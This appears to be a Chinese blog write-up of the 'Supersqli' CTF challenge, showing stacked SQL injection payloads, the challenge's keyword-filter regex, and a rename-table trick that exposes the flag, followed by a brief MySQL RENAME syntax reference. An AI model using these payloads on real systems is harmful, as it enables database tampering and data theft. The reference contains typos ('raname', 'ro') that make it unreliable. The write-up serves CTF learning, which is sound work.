SQL注入_随便注

Supersqli强网杯 攻防世界

题解

1.首先使用 1'or 1=1# 注入成功,存在sql注入

2.尝试使用union联合注入,发现返回错误

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

3.没有过滤分号,尝试使用堆叠注入

1';show databases;#成功

4.查询所有表

1';show tables;#

得到:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

5.查询"1919810931114514"表和"words"表

1';show columns from words;#
1';show columns from `1919810931114514`#	纯数字做字符串为表名时,要加反引号
发现1919810931114514存在flag列名,并且默认查询的为words表

6.根据过滤内容可知过滤了select,因此可以考虑使用rename语句

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

因为后台是从words表中进行查找的,所有将原words表名修改为其他,之后将包含flag的表1919810931114514表名修改为words,此时再查询时便是在包含flag的表中查找

但是查找的列名为id,所以还要将列名id修改为flag表名

注意使用sql的语句版本

7.最后使用1'or 1=1#即可查到flag


SQL中RENAME语句

重命名表:

​ 1.alter table

alter table OLD_name raname to NEW_name;

​ 2.rename table

rename table OLD_name ro NEW_name;

重命名列

​ 1.alter table MySQL 8.0+

alter table table_name rename column OLD_name to NEW_name;

​ 2.change 兼容MySQL 5.0+

alter table table_name change OLD_name NEW_name varchar(xxx);
posted @ 2025-09-04 21:52  lieer  阅读(14)  评论(0)    收藏  举报